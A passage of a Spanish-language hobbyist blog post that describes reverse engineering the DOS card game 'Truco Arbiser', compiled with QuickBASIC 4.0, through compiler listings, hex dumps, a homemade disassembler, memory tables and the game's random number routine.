<span class="err">0081</span> <span class="o">**</span> <span class="nf">int</span> <span class="mh">35h</span>
<span class="err">0083</span> <span class="o">**</span> <span class="kd">db</span> <span class="mh">06h</span>
<span class="err">0084</span> <span class="o">**</span> <span class="kd">dw</span> <span class="o"><</span><span class="mi">00008041</span><span class="o">></span>
<span class="err">0086</span> <span class="o">**</span> <span class="nf">int</span> <span class="mh">35h</span>
<span class="err">0088</span> <span class="o">**</span> <span class="kd">db</span> <span class="mh">06h</span>
<span class="err">0089</span> <span class="o">**</span> <span class="kd">dw</span> <span class="nv">X</span><span class="err">!</span>
<span class="err">008</span><span class="nf">B</span> <span class="o">**</span> <span class="nv">int</span> <span class="mh">3Dh</span>
<span class="err">008</span><span class="nf">D</span> <span class="o">**</span> <span class="nv">call</span> <span class="nv">B$FCMP</span>
<span class="err">0092</span> <span class="o">**</span> <span class="nf">jna</span> <span class="kc">$</span><span class="o">-</span><span class="mh">50h</span>
<span class="nf">PAGE</span> <span class="mi">2</span>
<span class="err">24</span> <span class="nf">Feb</span> <span class="mi">22</span>
<span class="err">16</span><span class="p">:</span><span class="err">25</span><span class="p">:</span><span class="err">51</span>
<span class="nf">Offset</span> <span class="nv">Data</span> <span class="nv">Source</span> <span class="nv">Line</span> <span class="nv">Microsoft</span> <span class="p">(</span><span class="nv">R</span><span class="p">)</span> <span class="nv">QuickBASIC</span> <span class="nv">Compiler</span> <span class="nv">Version</span> <span class="mf">4.00</span>
<span class="err">0094</span> <span class="err">000</span><span class="nf">E</span>
<span class="err">0094</span> <span class="err">000</span><span class="nf">E</span>
<span class="err">0094</span> <span class="err">000</span><span class="nf">E</span>
<span class="err">0094</span> <span class="err">000</span><span class="nf">E</span>
<span class="err">0094</span> <span class="o">**</span> <span class="nf">call</span> <span class="nv">B$CENP</span>
<span class="err">0099</span> <span class="err">000</span><span class="nf">E</span>
<span class="err">44108</span> <span class="kt">Byte</span><span class="nf">s</span> <span class="nv">Available</span>
<span class="err">43555</span> <span class="kt">Byte</span><span class="nf">s</span> <span class="nv">Free</span>
<span class="err">0</span> <span class="nf">Warning</span> <span class="nv">Error</span><span class="p">(</span><span class="nv">s</span><span class="p">)</span>
<span class="err">0</span> <span class="nf">Severe</span> <span class="nv">Error</span><span class="p">(</span><span class="nv">s</span><span class="p">)</span>
</code></pre></div></div>
<p>Y finalmente, la sección relevante del binario <code class="language-plaintext highlighter-rouge">FOR.EXE</code>:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>00000200 62 6d 46 4f 52 20 20 20 20 20 00 00 72 18 30 18 |bmFOR ..r.0.|
00000210 44 18 00 00 00 00 00 00 30 18 00 00 00 00 00 00 |D.......0.......|
00000220 50 18 0a 00 00 00 00 00 00 00 00 00 ff ff 80 00 |P...............|
00000230 cd 35 06 50 18 cd 35 1e 36 18 cd 3d cd 35 06 54 |.5.P..5.6..=.5.T|
00000240 18 e9 36 00 cd 35 06 36 18 cd 34 06 54 18 cd 34 |..6..5.6..4.T..4|
00000250 0e 3a 18 cd 35 1e 36 18 cd 3d b8 58 18 50 9a 40 |.:..5.6..=.X.P.@|
00000260 01 0a 00 ff 36 38 18 ff 36 36 18 9a 4c 01 0a 00 |....68..66..L...|
00000270 cd 35 06 3a 18 cd 34 06 54 18 cd 35 1e 3a 18 cd |.5.:..4.T..5.:..|
00000280 3d cd 35 06 68 18 cd 35 06 3a 18 cd 3d 9a 34 02 |=.5.h..5.:..=.4.|
00000290 0a 00 76 b0 9a 13 00 0a 00 00 00 00 00 00 00 00 |..v.............|
000002a0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
</code></pre></div></div>
<p>A partir de <code class="language-plaintext highlighter-rouge">0x230</code> se puede ver que cada opcode correlaciona
con el listado <code class="language-plaintext highlighter-rouge">FOR.LST</code>!
Esto significaría que para poder parsear, al menos esta sección
del binario, bastaría (en teoria) con mappear cada uno de los
tokens del lenguaje, con su listado y su representación binaria.
Hacer una tabla enorme con todas las combinaciones de las
declaraciones del lenguaje, identificar tipos, expresiones, y
lentamente ir tratando de reconstruir cada secuencia de bytes
a algo parecido al código del programa original.
Hay cosas que no pueden reconstruirse, como los nombres de
variables - que terminan siendo solamente referencias a offsets -
o los labels que se usaron para definir nombres de funciones
o lugares a donde saltar.</p>
<p>Si esto es razonable, se podría reconstruir parcialmente el código
original del <a href="https://www-2.dc.uba.ar/charlas/lud/truco/">Truco Arbiser</a> y luego de tener el código
razonablemente desensamblado, podriamos analizarlo para descubrir
sus secretos posteriormente.</p>
<h2 id="escribiendo-un-parser-e-interpretando-tokens">Escribiendo un parser e interpretando tokens</h2>
<h3 id="encontrando-nombres-de-función">Encontrando nombres de función</h3>
<p>Cuando generamos un <code class="language-plaintext highlighter-rouge">LST</code>, en cada opcode <code class="language-plaintext highlighter-rouge">call</code> el compilador
de Microsoft nos da la nomenclatura usada por el runtime de la
siguiente manera, por ejemplo:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> [...] (fragmento de FOR.LST)
005A ** mov ax,offset <const>
005D ** push ax
005E ** call B$PCSD
0063 ** push N!+0002h
0067 ** push N!
006B ** call B$PER4
[...]
</code></pre></div></div>
<p>Cuando parseamos los opcodes, cada vez que encuentro un <code class="language-plaintext highlighter-rouge">call</code>, me fijo la dirección a la
cual se está llamando y comparo el <code class="language-plaintext highlighter-rouge">LWORD</code>
descartando el <code class="language-plaintext highlighter-rouge">HWORD</code>. Hago esto de manera
arbitraria, ya que por ahora funciona bastante
bien. No se exactamente que representa <code class="language-plaintext highlighter-rouge">HWORD</code>
todavía:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="p">[...]</span> <span class="n">fragmento</span> <span class="n">de</span> <span class="nf">bm_get_call_mnemonic</span><span class="p">(</span><span class="kt">char</span><span class="o">*</span><span class="p">)</span>
<span class="kt">uint16_t</span> <span class="n">current_lword</span> <span class="o">=</span> <span class="p">(</span><span class="kt">uint16_t</span><span class="p">)(</span><span class="n">current_dword</span> <span class="o">&</span> <span class="mh">0xffff</span><span class="p">);</span>
<span class="k">switch</span> <span class="p">(</span><span class="n">current_lword</span><span class="p">)</span> <span class="p">{</span>
<span class="p">[...]</span>
<span class="k">case</span> <span class="mh">0x0140</span><span class="p">:</span>
<span class="n">strcpy</span><span class="p">(</span><span class="o">&</span><span class="n">func_name</span><span class="p">,</span> <span class="s">"B$PCSD - Print a$,"</span><span class="p">);</span>
<span class="k">break</span><span class="p">;</span>
<span class="k">case</span> <span class="mh">0x014c</span><span class="p">:</span>
<span class="n">strcpy</span><span class="p">(</span><span class="o">&</span><span class="n">func_name</span><span class="p">,</span> <span class="s">"B$PER4 - Print R4 (Single precision real (sp))"</span><span class="p">);</span>
<span class="k">break</span><span class="p">;</span>
<span class="p">[...]</span>
</code></pre></div></div>
<p>Y aqui debajo muestro como mi desensamblador
detecta los nombres de función, mostrando un
poco más de información que es útil a la hora
de debuggear mientras lo voy codeando:</p>
<div class="language-nasm highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">0</span><span class="nf">x025a</span> <span class="nv">mov</span> <span class="nb">ax</span><span class="p">,</span> <span class="nv">offset</span> <span class="mh">0x1858</span>
<span class="err">0</span><span class="nf">x025d</span> <span class="nv">push</span> <span class="nb">ax</span>
<span class="err">0</span><span class="nf">x025e</span> <span class="nv">call</span> <span class="nv">B$PCSD</span> <span class="o">-</span> <span class="nv">Print</span> <span class="nv">a$</span><span class="p">,</span> <span class="o"><</span><span class="mh">0x000a0140</span><span class="o">></span>
<span class="err">0</span><span class="nf">x0263</span> <span class="nv">push</span> <span class="o"><</span><span class="mh">0x1838</span><span class="o">></span> <span class="p">(</span><span class="nv">modr</span><span class="p">:</span><span class="mh">0x36</span><span class="p">)</span>
<span class="err">0</span><span class="nf">x0267</span> <span class="nv">push</span> <span class="o"><</span><span class="mh">0x1836</span><span class="o">></span> <span class="p">(</span><span class="nv">modr</span><span class="p">:</span><span class="mh">0x36</span><span class="p">)</span>
<span class="err">0</span><span class="nf">x026b</span> <span class="nv">call</span> <span class="nv">B$PER4</span> <span class="o">-</span> <span class="nv">Print</span> <span class="nv">R4</span> <span class="p">(</span><span class="nb">Si</span><span class="nv">ngle</span> <span class="nv">precision</span> <span class="nv">real</span> <span class="p">(</span><span class="nb">sp</span><span class="p">))</span> <span class="o"><</span><span class="mh">0x000a014c</span><span class="o">></span>
</code></pre></div></div>
<p>Este y otros procesos son bastante tediosos, porque el problema no es mapear una por una
las llamadas a cada función del runtime, sino
que para poder encontrar cada vez más funciones
que llaman a diferentes funciones, tengo que
iterativamente, escribir programas en BASIC
que sean lo suficientemente distinguibles entre si
para triggerear al compilador y que llame a
cada una de estas funciones.</p>
<p>Esto significa, que mientras más
programas haga, más funciones encuentro gracias
al <code class="language-plaintext highlighter-rouge">LST</code> generado por el compilador, pero
asi también, tengo que ser cada vez más creativo
con la "funcionalidad" de los programas
para que el compilador me muestre las llamadas
de función.</p>
<p>Esto, demanda muchísimo tiempo. Como el objetivo
es hacerle truco al <code class="language-plaintext highlighter-rouge">Truco Arbiser</code>, no estoy
buscando mapear TODO el output del compilador
QuickBasic 4.0, sino más bien, programar cosas
que - medio adivinando - los Arbiser pudieran
haber necesitado hacer al codear el juego.</p>
<h3 id="emulación-de-punto-flotante">Emulación de punto flotante</h3>
<p>¡Ah! Esto es bastante difícil y me presentó
un desafío a la hora de tratar de entender y
parsear los opcodes de "punto flotante".</p>
<p>Lo pongo entre comillas, porque en verdad QB4
no estaría usando exactamente opcodes de la
<code class="language-plaintext highlighter-rouge">FPU</code> sino más bien, usa una especie de emulación, que esta definida de la siguiente forma:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>INT 34 - FLOATING POINT EMULATION - OPCODE D8h
INT 35 - FLOATING POINT EMULATION - OPCODE D9h
INT 36 - FLOATING POINT EMULATION - OPCODE DAh
INT 37 - FLOATING POINT EMULATION - OPCODE DBh
INT 38 - FLOATING POINT EMULATION - OPCODE DCh
INT 39 - FLOATING POINT EMULATION - OPCODE DDh
INT 3A - FLOATING POINT EMULATION - OPCODE DEh
INT 3B - FLOATING POINT EMULATION - OPCODE DFh
INT 3C - FLOATING POINT EMULATION - SEGMENT OVERRIDE
INT 3D - FLOATING POINT EMULATION - STANDALONE FWAIT
INT 3E - FLOATING POINT EMULATION - Borland "SHORTCUT" CALL
</code></pre></div></div>
<p>Tiene sentido. En esa época, tener una <code class="language-plaintext highlighter-rouge">FPU</code> era opcional: podías instalarle una FPU o no
a tu computadora y hacer que todas las operaciones de punto flotante vayan a las chapas o podias
optar por emular estas operaciones solamente con la CPU haciendo que sus cálculos sean considerablemente
más lentos.</p>
<p>Llegar a esta lista, y saber por qué la necesitaba me llevó bastante tiempo.
Veamos el siguiente pedazo de desensamblado:</p>
<div class="language-nasm highlighter-rouge"><div class="highlight"><pre class="highlight"><code>
<span class="nl">BASIC:</span>
<span class="nf">LET</span> <span class="nv">variable</span> <span class="err">=</span> <span class="mi">2</span>
<span class="nf">LET</span> <span class="nv">variable</span> <span class="err">=</span> <span class="mi">3</span>
<span class="nf">LET</span> <span class="nv">variable</span> <span class="err">=</span> <span class="mi">4</span>
<span class="nf">LET</span> <span class="nv">variable</span> <span class="err">=</span> <span class="mi">5</span>
<span class="nf">QuickBasic</span> <span class="nv">.LST</span><span class="p">:</span>
<span class="err">0039</span> <span class="o">**</span> <span class="nf">int</span> <span class="mh">35h</span>
<span class="err">003</span><span class="nf">B</span> <span class="o">**</span> <span class="nv">db</span> <span class="mh">06h</span>
<span class="err">003</span><span class="nf">C</span> <span class="o">**</span> <span class="nv">dw</span> <span class="o"><</span><span class="mi">00000040</span><span class="o">></span>
<span class="err">003</span><span class="nf">E</span> <span class="o">**</span> <span class="nv">int</span> <span class="mh">35h</span>
<span class="err">0040</span> <span class="o">**</span> <span class="kd">db</span> <span class="mh">1Eh</span>
<span class="err">0041</span> <span class="o">**</span> <span class="kd">dw</span> <span class="nv">VARIABLE</span><span class="err">!</span>
<span class="err">0043</span> <span class="o">**</span> <span class="nf">int</span> <span class="mh">3Dh</span>
<span class="err">0045</span> <span class="o">**</span> <span class="nf">int</span> <span class="mh">35h</span>
<span class="err">0047</span> <span class="o">**</span> <span class="kd">db</span> <span class="mh">06h</span>
<span class="err">0048</span> <span class="o">**</span> <span class="kd">dw</span> <span class="o"><</span><span class="mi">00004040</span><span class="o">></span>
<span class="err">004</span><span class="nf">A</span> <span class="o">**</span> <span class="nv">int</span> <span class="mh">35h</span>
<span class="err">004</span><span class="nf">C</span> <span class="o">**</span> <span class="nv">db</span> <span class="mh">1Eh</span>
<span class="err">004</span><span class="nf">D</span> <span class="o">**</span> <span class="nv">dw</span> <span class="nv">VARIABLE</span><span class="err">!</span>
<span class="err">004</span><span class="nf">F</span> <span class="o">**</span> <span class="nv">int</span> <span class="mh">3Dh</span>
<span class="err">0051</span> <span class="o">**</span> <span class="nf">int</span> <span class="mh">35h</span>
<span class="err">0053</span> <span class="o">**</span> <span class="kd">db</span> <span class="mh">06h</span>
<span class="err">0054</span> <span class="o">**</span> <span class="kd">dw</span> <span class="o"><</span><span class="mi">00008040</span><span class="o">></span>
</code></pre></div></div>
<p>Entonces, existe una relación entre las <code class="language-plaintext highlighter-rouge">INTerrupciones</code>,
los <code class="language-plaintext highlighter-rouge">db</code>, los <code class="language-plaintext highlighter-rouge">dw</code> que en el binario eran offsets con
los numeros <code class="language-plaintext highlighter-rouge">LST</code> del compilador. Claramente
los numeros enteros del programa original estaban siendo encodeados de una manera especial, hasta que en un momento caigo y me digo: ¡Claro! ¡<code class="language-plaintext highlighter-rouge">IEEE754</code>! <sup id="fnref:2"><a href="#fn:2" class="footnote" rel="footnote" role="doc-noteref">3</a></sup></p>
<p>Poco a poco las piezas del rompecabezas van
empezando a tomar forma y sentido. El problema
es que las piezas son muchísimas y es fácil
perderse entre tantos bytes y datos sueltos al
querer darles sentido.</p>
<h3 id="offsets-y-bloques">Offsets y bloques</h3>
<p>¿Cómo se organizan las secciones del módulo
del ejecutable? ¿Cómo calculo donde están todas
las cosas que el binario hace referencia?
¿En que offset exacto se guardan las variables,
las constantes, los strings, etc…?</p>
<p>Ni idea todavia :D</p>
<h3 id="bfuncname">B$<funcname></h3>
<p>De pronto me entero que hubo un leak del msdos 6.0 y con él pude completar algunas de las más importantes partes de esta piezas del puzzle.
Resulta ser que en el directorio <code class="language-plaintext highlighter-rouge">45/runtime/rt</code> hay muchísimas definiciones de llamadas al <code class="language-plaintext highlighter-rouge">runtime</code> donde puedo tomar parte de
la documentación, encontrar el offset del runtime e imprimir por cada
llamada el nombre de la función y una pequeña descripción de lo que hace:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="p">[...]</span>
<span class="k">case</span> <span class="mh">0x0185</span><span class="p">:</span>
<span class="n">strcpy</span><span class="p">(</span><span class="o">&</span><span class="n">func_name</span><span class="p">,</span> <span class="s">"B$SASS - String assignment"</span><span class="p">);</span>
<span class="k">break</span><span class="p">;</span>
<span class="k">case</span> <span class="mh">0x00f5</span><span class="p">:</span>
<span class="n">strcpy</span><span class="p">(</span><span class="o">&</span><span class="n">func_name</span><span class="p">,</span> <span class="s">"B$INPP -- console input preamble"</span><span class="p">);</span>
<span class="k">break</span><span class="p">;</span>
<span class="k">case</span> <span class="mh">0x0170</span><span class="p">:</span>
<span class="n">strcpy</span><span class="p">(</span><span class="o">&</span><span class="n">func_name</span><span class="p">,</span> <span class="s">"B$RDSD -- console input read String Descriptor"</span><span class="p">);</span>
<span class="k">break</span><span class="p">;</span>
<span class="p">[...]</span>
</code></pre></div></div>
<p>El procedimiento es:</p>
<ul>
<li>Compilar un programa en <code class="language-plaintext highlighter-rouge">BASIC</code></li>
<li>Pedirle a <code class="language-plaintext highlighter-rouge">BC.EXE</code> que nos genere un <code class="language-plaintext highlighter-rouge">.LST</code></li>
<li>Tomar las <code class="language-plaintext highlighter-rouge">call</code>s al runtime, y buscar la definición en el source del msdos6.0</li>
<li>Leer la doc, y escribir la definicion del offset del call de mi desensamblador (que tagueo con el keyword <code class="language-plaintext highlighter-rouge">unknown</code> si no lo tengo parseado)</li>
</ul>
<p>Estos pasos llevan un montonazo de tiempo, y estando en el mes de junio (2022) a la altura del desarrollo,
ya pasaron varios meses solamente haciendo esto en mis tiempos libres.
Y empecé a pensar que <strong>por acá no es</strong>.</p>
<h1 id="un-giro-inesperado">Un Giro Inesperado</h1>
<p>Esta forma de laburar es bastante purista y a veces
cuando programo me divierto mucho y haciendo cosas lo suficientemente dificiles como un desensamblador desde cero con C y los manuales de Intel es fantásticamente divertido, pero el avance del proyecto se vuelve demasiado lento. Durante un tiempo,
hasta acá (aproximadamente unos meses) estuve armando mi propio desensamblador y la tarea
terminó siendo escribir el desensamblador en vez de tratar de desensamblar el ejecutable con alguna herramienta que lo haga muchísimo mejor que ponermelo a escribir yo mismo.</p>
<p>Llegó un momento en que el trabajo de escribir un desensamblador desde cero se volvió ridículamente tedioso y me estaba consumiendo demasiado tiempo. Por este motivo, decidí cambiar completamente el rumbo del proyecto y usar un engine de desensamblado para automatizar lo mas posible el mapeo de llamadas de función con el runtime de QB.</p>
<p>Decidí apoyarme en <a href="https://www.capstone-engine.org/">Capstone Engine</a> y empezar a automatizar esta comparacion de <code class="language-plaintext highlighter-rouge">segment:offset</code> de cada <code class="language-plaintext highlighter-rouge">CALL</code> con los listados que escupe el compilador QB4 y matchearlos con mi desensamblador.</p>
<p>Escencialmente:</p>
<ul>
<li>interpretar y comparar offsets con pares lcall/call updateando los strings de llamadas de función.</li>
<li>armar una tabla de funciones que ya haya descubierto</li>
<li><strong>rinse and repeat ad infinitum</strong></li>
</ul>
<p>Todo este esfuerzo, dio cierto grado de frutos. Pude de alguna manera desensamblar pedazos de programas compilados con Quick Basic 4.0
usando su <strong>runtime</strong> y eventualmente iba a llegar a tener un <strong>Señor Desensamblador</strong> que podía llegar a ser útil en un futuro para
desensamblar programas viejos <strong>à là HexRays</strong>.</p>
<p>De alguna manera, asi es como uno nunca termina nada ¿No? El viaje es lo que entretiene y en este viaje aprendí una barbaridad.
El objetivo final era <strong>Truquear al Truco</strong> y espiralé en hacer toda una suite de desensamblado de P-Code.</p>
<p>Al año siguiente (2023) de tener algo decente, el Arbiser se me estaba escapando nuevamente y seguía sin poder espiarle
las cartas a la CPU, que era el objetivo principal.
Entendiendo esto, arranqué de nuevo con el IDA y a reversear de nuevo, que era donde había empezado en un principio.</p>
<p>Este camino, era el que me iba a llevar a romperlo finalmente <strong>y era por acá</strong>.</p>
<h1 id="análisis-de-estructuras-en-memoria">Análisis de Estructuras en Memoria</h1>
<p>El tema de las interrupciones, que me había hecho tirar la toalla tan rápido fue una cuestión de impaciencia nomás.
No me acuerdo como lo resolví, pero si no era un setting, le pegaba en el palo. Lo que si empecé a hacer, es
solamente breakpoints de lectura y escritura, discriminados. Adicionalmente, mantener una lista de direcciones
de memoria interesantes o donde empiecen funciones que parezcan relevantes.</p>
<p>Al año, entonces, me pongo a reversear y llego a una tabla decente para tener ciertos breakpoints que valgan la pena:</p>
<table>
<thead>
<tr>
<th>segment:offset memoria</th>
<th>segment:offset desensamblado</th>
<th>longitud</th>
<th>descripcion</th>
</tr>
</thead>
<tbody>
<tr>
<td>seg004:fa94</td>
<td>[si+1c72]</td>
<td>WORD*6 + 1</td>
<td>jugador words, palo 1 palo 2 palo 3 – nada – carta 1, 2, 3</td>
</tr>
<tr>
<td>seg004:f66a</td>
<td>[si+1848]</td>
<td>WORD*6 + 1</td>
<td>computadora words, palo 1 palo 2 palo 3 – nada - carta 1, 2, 3</td>
</tr>
<tr>
<td>seg004:f680</td>
<td>[si+1860]</td>
<td>WORD*3</td>
<td>random numbers placeholder/save area</td>
</tr>
<tr>
<td>seg004:fae4</td>
<td>ds:1cc4</td>
<td>WORD</td>
<td>random number</td>
</tr>
<tr>
<td>seg004:fb90</td>
<td>ds:1d70</td>
<td>WORD</td>
<td>current_card being calculated for player</td>
</tr>
<tr>
<td>seg004:fb92</td>
<td>ds:1d72</td>
<td>WORD</td>
<td>current_card being calculated for computer</td>
</tr>
<tr>
<td>seg004:fb02</td>
<td>ds:1ce2h</td>
<td>WORD</td>
<td>last card number processed (player)</td>
</tr>
<tr>
<td>seg004:fb04</td>
<td>???</td>
<td>DWORD</td>
<td>???????????????????????????</td>
</tr>
<tr>
<td>seg004:fb06</td>
<td>???</td>
<td>DWORD</td>
<td>???????????????????????????</td>
</tr>
<tr>
<td>seg004:fb08</td>
<td>???</td>
<td>DWORD</td>
<td>???????????????????????????</td>
</tr>
<tr>
<td>seg004:fb0a</td>
<td>???</td>
<td>WORD</td>
<td>ultimo palo procesado (player)</td>
</tr>
<tr>
<td>seg005:12d3</td>
<td>ds:2836-ds:283a</td>
<td>WORD</td>
<td>STACK! BP/SP en seg005, es el numero que recibe AX para muchas operaciones relacionadas con las funciones random</td>
</tr>
<tr>
<td>021e:e6fb</td>
<td>ds:8db</td>
<td>WORD</td>
<td>Low WORD of previous <a href="https://en.wikipedia.org/wiki/Pseudorandom_number_generator">PRNG</a> seed</td>
</tr>
<tr>
<td>021e:e6fd</td>
<td>ds:8dd</td>
<td>WORD</td>
<td>Hi WORD of previous <a href="https://en.wikipedia.org/wiki/Pseudorandom_number_generator">PRNG</a> seed</td>
</tr>
<tr>
<td>????</td>
<td>021e:e020</td>
<td>WORD</td>
<td>A Constant QB4.0 <a href="https://en.wikipedia.org/wiki/Pseudorandom_number_generator">PRNG</a></td>
</tr>
<tr>
<td>????</td>
<td>021e:e024</td>
<td>BYTE</td>
<td>C Constant QB4.0 <a href="https://en.wikipedia.org/wiki/Pseudorandom_number_generator">PRNG</a></td>
</tr>
<tr>
<td>????</td>
<td>021e:de20</td>
<td>DWORD</td>
<td>float storage area?</td>
</tr>
</tbody>
</table>
<p>Palos:</p>
<table>
<thead>
<tr>
<th>Palo</th>
<th>EQU</th>
</tr>
</thead>
<tbody>
<tr>
<td>Espada</td>
<td>0x0000</td>
</tr>
<tr>
<td>Basto</td>
<td>0x0001</td>
</tr>
<tr>
<td>Oro</td>
<td>0x0002</td>
</tr>
<tr>
<td>Copa</td>
<td>0x0003</td>
</tr>
</tbody>
</table>
<p>También descubrí algunos detalles importantes que en el código binario y sus estructuras de datos:</p>
<ul>
<li>los valores de las cartas van de 0x0001 a 0x000A (1 a 10, 1234567,10,11,12 son 10 tipos de numero de cartas diferentes)</li>
<li>si la carta seleccionada es mayor a 7, entonces le sumamos 2 asi corregimos como se tienen que ver en realidad.</li>
<li>hay una region de memoria donde estan las cartas del jugador y del cpu y todo las lecturas tienden a ser para poder dibujarlas en la pantalla y las escrituras son del algoritmo de reparto de cartas</li>
</ul>
<p>¡Entonces buenísimo saber más o menos que vale cada cosa! La joda ahora es entender como se calculan estos valores y
de donde vienen. Sabiendo esto, podriamos replicar el comportamiento con un script en python.</p>
<h2 id="pseudo-random-number-generator-prng">Pseudo Random Number Generator (PRNG)</h2>
<p>Resulta ser que estuve horas reverseando esta sección de código,
que trataba de obtener el siguiente numero random del Pseudo random Number Generator o <a href="https://en.wikipedia.org/wiki/Pseudorandom_number_generator">PRNG</a>:</p>
<div class="language-nasm highlighter-rouge"><div class="highlight"><pre class="highlight"><code>
<span class="nl">.text:</span><span class="err">98</span><span class="nf">CB7</span> <span class="c1">; ---------------------------------------------------------------------------</span>
<span class="nl">.text:</span><span class="err">98</span><span class="nf">CB7</span> <span class="nv">push</span> <span class="nb">di</span>
<span class="nl">.text:</span><span class="err">98</span><span class="nf">CB8</span> <span class="nv">mov</span> <span class="nb">ax</span><span class="p">,</span> <span class="nb">ds</span><span class="p">:</span><span class="mh">8DBh</span>
<span class="nl">.text:</span><span class="err">98</span><span class="nf">CBB</span> <span class="nv">mov</span> <span class="nb">cx</span><span class="p">,</span> <span class="kt">word</span><span class="nv">_200</span>
<span class="nl">.text:</span><span class="err">98</span><span class="nf">CBF</span> <span class="nv">mul</span> <span class="nb">cx</span> <span class="c1">; Unsigned Multiplication of AL or AX</span>
<span class="nl">.text:</span><span class="err">98</span><span class="nf">CC1</span> <span class="nv">xchg</span> <span class="nb">ax</span><span class="p">,</span> <span class="nb">di</span> <span class="c1">; Exchange Register/Memory with Register</span>
<span class="nl">.text:</span><span class="err">98</span><span class="nf">CC2</span> <span class="nv">mov</span> <span class="nb">bx</span><span class="p">,</span> <span class="nb">dx</span>
<span class="nl">.text:</span><span class="err">98</span><span class="nf">CC4</span> <span class="nv">mov</span> <span class="nb">ax</span><span class="p">,</span> <span class="nb">ds</span><span class="p">:</span><span class="mh">8DDh</span>
<span class="nl">.text:</span><span class="err">98</span><span class="nf">CC7</span> <span class="nv">mul</span> <span class="nb">cx</span> <span class="c1">; Unsigned Multiplication of AL or AX</span>
<span class="nl">.text:</span><span class="err">98</span><span class="nf">CC9</span> <span class="nv">add</span> <span class="nb">bx</span><span class="p">,</span> <span class="nb">ax</span> <span class="c1">; Add</span>
<span class="nl">.text:</span><span class="err">98</span><span class="nf">CCB</span> <span class="nv">mov</span> <span class="nb">ax</span><span class="p">,</span> <span class="kt">word</span><span class="nv">_200</span>
<span class="nl">.text:</span><span class="err">98</span><span class="nf">CCE</span> <span class="nv">mul</span> <span class="kt">word</span> <span class="nv">ptr</span> <span class="nb">ds</span><span class="p">:</span><span class="mh">8DBh</span> <span class="c1">; Unsigned Multiplication of AL or AX</span>
<span class="nl">.text:</span><span class="err">98</span><span class="nf">CD2</span> <span class="nv">add</span> <span class="nb">bx</span><span class="p">,</span> <span class="nb">ax</span> <span class="c1">; Add</span>
<span class="nl">.text:</span><span class="err">98</span><span class="nf">CD4</span> <span class="nv">add</span> <span class="nb">di</span><span class="p">,</span> <span class="kt">word</span><span class="nv">_204</span> <span class="c1">; Add</span>
<span class="nl">.text:</span><span class="err">98</span><span class="nf">CD8</span> <span class="nv">adc</span> <span class="nb">bl</span><span class="p">,</span> <span class="kt">byte</span> <span class="nv">ptr</span> <span class="kt">word</span><span class="nv">_204</span> <span class="c1">; Add with Carry</span>
<span class="nl">.text:</span><span class="err">98</span><span class="nf">CDC</span> <span class="nv">xor</span> <span class="nb">bh</span><span class="p">,</span> <span class="nb">bh</span> <span class="c1">; Logical Exclusive OR</span>
<span class="nl">.text:</span><span class="err">98</span><span class="nf">CDE</span> <span class="nv">mov</span> <span class="nb">dx</span><span class="p">,</span> <span class="nb">di</span>
<span class="nl">.text:</span><span class="err">98</span><span class="nf">CE0</span> <span class="nv">mov</span> <span class="nb">ds</span><span class="p">:</span><span class="mh">8DBh</span><span class="p">,</span> <span class="nb">dx</span>
<span class="nl">.text:</span><span class="err">98</span><span class="nf">CE4</span> <span class="nv">mov</span> <span class="nb">ds</span><span class="p">:</span><span class="mh">8DDh</span><span class="p">,</span> <span class="nb">bx</span>
<span class="nl">.text:</span><span class="err">98</span><span class="nf">CE8</span> <span class="nv">pop</span> <span class="nb">di</span>
<span class="nl">.text:</span><span class="err">98</span><span class="nf">CE9</span> <span class="nv">nop</span> <span class="c1">; No Operation</span>
<span class="nl">.text:</span><span class="err">98</span><span class="nf">CEA</span> <span class="nv">fild</span> <span class="kt">dword</span> <span class="nv">ptr</span> <span class="nb">ds</span><span class="p">:</span><span class="mh">8DBh</span> <span class="c1">; Load Integer</span>
<span class="nl">.text:</span><span class="err">98</span><span class="nf">CEE</span> <span class="nv">nop</span> <span class="c1">; No Operation</span>
<span class="nl">.text:</span><span class="err">98</span><span class="nf">CEF</span> <span class="nv">fdiv</span> <span class="nv">flt_208</span> <span class="c1">; Divide Real</span>
<span class="nl">.text:</span><span class="err">98</span><span class="nf">CF3</span> <span class="nv">mov</span> <span class="nb">bx</span><span class="p">,</span> <span class="mh">0EDh</span> <span class="c1">; 'f'</span>
<span class="nl">.text:</span><span class="err">98</span><span class="nf">CF6</span> <span class="nv">nop</span> <span class="c1">; No Operation</span>
<span class="nl">.text:</span><span class="err">98</span><span class="nf">CF7</span> <span class="nb">fs</span><span class="nv">tp</span> <span class="kt">dword</span> <span class="nv">ptr</span> <span class="p">[</span><span class="nb">bx</span><span class="p">]</span> <span class="c1">; Store Real and Pop</span>
<span class="nl">.text:</span><span class="err">98</span><span class="nf">CF9</span> <span class="nv">xchg</span> <span class="nb">ax</span><span class="p">,</span> <span class="nb">bx</span> <span class="c1">; Exchange Register/Memory with Register</span>
<span class="nl">.text:</span><span class="err">98</span><span class="nf">CFA</span> <span class="nv">nop</span> <span class="c1">; No Operation</span>
<span class="nl">.text:</span><span class="err">98</span><span class="nf">CFB</span> <span class="nv">wait</span> <span class="c1">; Wait until BUSY# Pin is Inactive (HIGH)</span>
<span class="nl">.text:</span><span class="err">98</span><span class="nf">CFC</span> <span class="nv">retn</span> <span class="c1">; Return Near from Procedure</span>
<span class="nl">.text:</span><span class="err">98</span><span class="nf">CFC</span> <span class="c1">; ---------------------------------------------------------------------------</span>
</code></pre></div></div>
<p>Como esta sección de código esta en <code class="language-plaintext highlighter-rouge">.text</code> asumí que era un algoritmo
escrito por los Arbiser y no que era parte del <code class="language-plaintext highlighter-rouge">BRUN40.EXE</code>. Bastaba con notar que estábamos en otro segmento mirando el offset de <code class="language-plaintext highlighter-rouge">.text</code> y listo, pero noooo.
¿Recuerdan que el source del MSDOS fue leakeado? Bueno, a veces uno al experimentar <strong>visión de tunel</strong> se puede olvidar que tiene
otros ángulos para atacar un mismo problema, en el leak me encuentro esto:</p>
<div class="language-nasm highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">; 45 > runtime > rt > random.asm:240</span>
<span class="c1">;***</span>
<span class="c1">;GetNextRnd -- get next random number</span>
